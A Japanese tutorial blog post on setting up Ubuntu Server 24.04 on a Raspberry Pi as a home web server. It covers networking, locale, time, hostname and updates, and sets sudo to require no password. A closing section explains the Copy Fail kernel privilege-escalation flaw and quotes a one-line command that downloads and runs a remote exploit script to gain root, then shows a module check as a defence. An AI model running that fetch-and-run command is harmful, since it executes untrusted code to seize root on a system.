ラズパイで作る自宅WEBサーバ:nginx編
第1回 Ubuntu Server 設定

2026.09.14
●Ubuntu Server 24.04.4 LTS
2024年4月25日、Ubuntu24.04 LTSがリリースされました。
標準サポート期間は、リリースから5年間の2029年4月までです。

ネットワークケーブルを繋いで、有線接続できるようにしておきます。
microSDカードを Raspberry Pi 3 model B+ に差し込んで起動します。
初期状態でSSHが利用可能になっているので、TeraTermなどでSSH接続して作業を行っても構いません。
●Ubuntuバージョンの確認
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
●sudoでのパスワード要求の無効化
$ sudo vi /etc/sudoers
# See sudoers(5) for more information on "@include" directives:
ubuntu ALL=(ALL:ALL) NOPASSWD: ALL
@includedir /etc/sudoers.d
:wq! で強制的に保存して終了します。
●Ethernet(有線LAN)用MACアドレス確認
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
inet 192.168.11.10/24 metric 600 brd 192.168.11.255 scope global dynamic wlan0
valid_lft 171777sec preferred_lft 171777sec
inet6 xxxx::xxxx:xxx:xxxx:xxx/64 scope link
valid_lft forever preferred_lft forever
オレンジ色のMACアドレスを控えておきます。
●ネットワーク設定
初期状態のネットワーク設定をみると無線LANの設定のみです。
$ sudo cat /etc/netplan/50-cloud-init.yaml
network:
version: 2
wifis:
wlan0:
optional: true
dhcp4: true
regulatory-domain: "JP"
access-points:
"XXXXXXXXXXXX":
auth:
key-management: "psk"
password: "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
Ubuntu Desktopでは renderer にNetwork-Managerを使用し、UbuntuServerやRaspberryPi用のUbuntu24.04 Serverでは netplanで設定します。
デフォルト値を変更したい場合は、renderer を明記します。
無線接続設定を削除して、有線接続に書き換えます。
ここでは、WEBサーバ(ラズベリーパイ)のローカルIPアドレスを、192.168.11.28 としています。
network:
version: 2
ethernets:
eth0:
optional: true
dhcp4: false
dhcp6: false
match:
macaddress: xx:xx:xx:xx:xx:xx
set-name: eth0
addresses: [192.168.11.28/24]
nameservers:
addresses: [192.168.11.28,192.168.11.1]
routes:
- to: default
via: 192.168.11.1
※yamlファイルは、TABでなくSPACE(基本は空白2文字)でインデントする必要があります。
macaddress の箇所に先程控えて置いたアドレスを記載します。
ネームサーバの部分には、WEBサーバのIPアドレス、ブロードバンドルータのIPアドレスの順に設定しています。
本番運用の際には、ネームサーバの指定にWEBサーバのIPアドレスは不要ですが、LAN内でドメイン名を使用してWEBサイトへのアクセスをテストする際に必要になります。
本番稼働時においてもこの設定を残しておくと、LAN内のパソコンからWAN側に出ずにアクセスできるので便利です。
詳しくは、DNS設定のところで解説します。
※無線接続を残したままにしておくと、DNSの優先順位をうまく設定できないことがあります。
※ローカルネットワーク側にラズパイを配置して、ポートマッピング機能により、グローバルIPアドレスへのリクエストをローカルIPアドレスに振り分けているので、この記載にグローバルIPアドレスは現れません。
設定の反映
$ sudo netplan apply
SSH接続している場合は接続が切れるので、再接続します
ipアドレスの確認
$ ip a (あるいは $ ifconfig )
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
inet 192.168.11.28/24 brd 192.168.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 xxxx::xxxx:xxx:xxxx:xxx/64 scope link
valid_lft forever preferred_lft forever
3: wlan0: mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
●IPv6の無効化
IPv6は使用しないので、無効化します。
$ sudo vi /etc/sysctl.d/70-disable-ipv6.conf
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
設定を反映します
$ sudo sysctl --system
これだけでは再起動した際に反映されないことがあるので、起動後にsysctl設定を再適用するスタートアップスクリプトを作成します。
$ sudo vi /etc/rc.local
#!/bin/bash
# /etc/rc.local
# Load kernel variables from /etc/sysctl.d
sysctl --system
exit 0
実行権限を付与します
$ sudo chmod 755 /etc/rc.local
サーバーを再起動します。
$ sudo reboot
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
inet 192.168.11.28/24 brd 192.168.11.255 scope global eth0
valid_lft forever preferred_lft forever
3: wlan0: mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
IPv6アドレスが表示されなくなります。
●ネットワーク接続確認 ping
$ ping youtube.com
PING youtube.com (142.251.24.190) 56(84) bytes of data.
64 bytes from rj-in-f190.1e100.net (142.251.24.190): icmp_seq=1 ttl=113 time=66.8 ms
64 bytes from rj-in-f190.1e100.net (142.251.24.190): icmp_seq=2 ttl=113 time=69.3 ms
●ロケール確認・設定
対応しているロケール一覧を表示します
$ locale -a
C
C.UTF-8
POSIX
日本語ロケールがサポートされてるかを確認します
$ grep ja /usr/share/i18n/SUPPORTED
ja_JP.UTF-8 UTF-8
ja_JP.EUC-JP EUC-JP
ロケールを追加します
$ sudo locale-gen ja_JP.UTF-8
Generating locales (this might take a while)...
ja_JP.UTF-8... done
Generation complete.
ロケール追加を確認します
$ locale -a
C
C.UTF-8
POSIX
ja_JP.utf8
設定を反映させます
$ sudo localectl set-locale LANG=ja_JP.UTF-8 LANGUAGE="ja_JP:ja"
確認します
$ cat /etc/default/locale
LANG=ja_JP.UTF-8
LANGUAGE=ja_JP:ja
$ localectl status
System Locale: LANG=ja_JP.UTF-8
LANGUAGE=ja_JP:ja
VC Keymap: (unset)
X11 Layout: us
X11 Model: pc105
●時刻合わせ
タイムサーバを追加します
$ sudo vi /etc/systemd/timesyncd.conf
NTP=ntp.nict.jp
FallbackNTP=ntp.ubuntu.com
※FallbackNTPに複数サーバを指定する場合はスペース区切りで続けて記述します
$ timedatectl set-ntp true
==== AUTHENTICATING FOR org.freedesktop.timedate1.set-ntp ===
Authentication is required to control whether network time synchronization shall be enabled.
Authenticating as: Ubuntu (ubuntu)
Password:********
==== AUTHENTICATION COMPLETE ===
$ sudo systemctl enable systemd-timesyncd.service
●タイムゾーンの確認
Raspberry Pi Imagerで起動ディスク(microSD)作成時にタイムゾーンを設定しているので確認のみです。
$ timedatectl
Local time: Thu 2026-07-30 15:07:53 JST
Universal time: Thu 2026-07-30 06:07:53 UTC
RTC time: n/a
Time zone: Asia/Tokyo (JST, +0900)
System clock synchronized: yes
NTP service: active
RTC in local TZ: no
手動で変更する場合
$ sudo timedatectl set-timezone Asia/Tokyo
$ sudo systemctl restart systemd-timesyncd.service
●ホスト名の設定
現在のホスト名を確認します。
$ hostname
Rasp3Bplus
ドメイン名を example.jp とした場合の設定は下記のようになります。
$ sudo hostnamectl set-hostname ns.example.jp
$ hostnamectl
Static hostname: ns.example.jp
Icon name: computer
Machine ID: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Boot ID: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Operating System: Ubuntu 24.04.4 LTS
Kernel: Linux 6.8.0-1047-raspi
Architecture: arm64
※ホスト名先頭の ns は Name Server の意味で、DNSサーバ設定に合わせた一般的な表記のようです
Ubuntu 24.04でホスト名が初期状態に戻る原因は、OS初期化ツール(cloud-init)が再起動時に設定を上書きするためです。
hostnamectlコマンドだけでなく、cloud-initの設定変更をあわせて行う必要があります。
$ sudo vi /etc/cloud/cloud.cfg
preserve_hostname: true
●パッケージの更新
ここまで完了したら一旦、インストール可能なパッケージ一覧を更新して、インストールされているパッケージを更新します。
$ sudo apt-get update
$ sudo apt-get upgrade
最後にこの状態でのSDカードとメモリの使用状況をみてみます
$ df
Filesystem 1K-blocks Used Available Use% Mounted on
tmpfs 798960 3272 795688 1% /run
/dev/mmcblk0p2 29179236 3232008 24707456 12% /
tmpfs 3994780 0 3994780 0% /dev/shm
tmpfs 5120 0 5120 0% /run/lock
/dev/mmcblk0p1 516204 191350 324854 38% /boot/firmware
tmpfs 798956 12 798944 1% /run/user/1000
$ free -t
total used free shared buff/cache available
Mem: 7989564 517868 4544136 3288 3244924 7471696
Swap: 0 0 0
Total: 7989564 517868 4544136
また、Ubuntu 24.04ではスワップ領域をスワップファイル /swap.img に確保するため、スワップパーティションを作成する必要がないようです。
●Copy Fail(CVE-2026-31431)
Copy Fail(CVE-2026-31431)は、2017年以降のほぼすべての主要なLinuxディストリビューションに影響を与える、
ローカル特権昇格(LPE)の脆弱性です。
対象:4.14以降のLinuxカーネル(2017年〜2026年の約9年間)
影響:一般ユーザーが管理者(root)権限を取得可能
仕組:カーネルの暗号API(AF_ALG)と splice() システムコールの処理におけるロジックの欠陥に起因します。
ページキャッシュへの参照が不適切に連鎖し、攻撃者が制御する4バイトのデータをメモリ上のsetuidバイナリ(/usr/bin/su など)のページキャッシュに直接書き込めます。
ディスク上のファイルは変更されず、メモリ上のキャッシュのみが書き換わるため、再起動で痕跡が消えるステルス性の高い攻撃です。
手口:732バイトのPythonスクリプトの実行
$ curl https://copy.fail/exp | python3 && su
これにより、キャッシュ上の uid=0(root)に変更されます。
Copy Failはあくまで「ローカル特権昇格」の脆弱性なので、第一段階として、すでにサーバの内部に犯人(または犯人が送り込んだプログラム)が侵入していることが絶対条件になります。
そもそも、Raspberry Pi用Ubuntu 24.04では、algif_aeadモジュールは無効化されているので、脆弱性による影響(攻撃経路)はありません。
念のため、確認しておきます。
$ lsmod | grep algif_aead
algif_aead が表示されない場合: 現在モジュールがロードされていない、または無効化されているため、この脆弱性を直接突かれるリスクは低いです。
|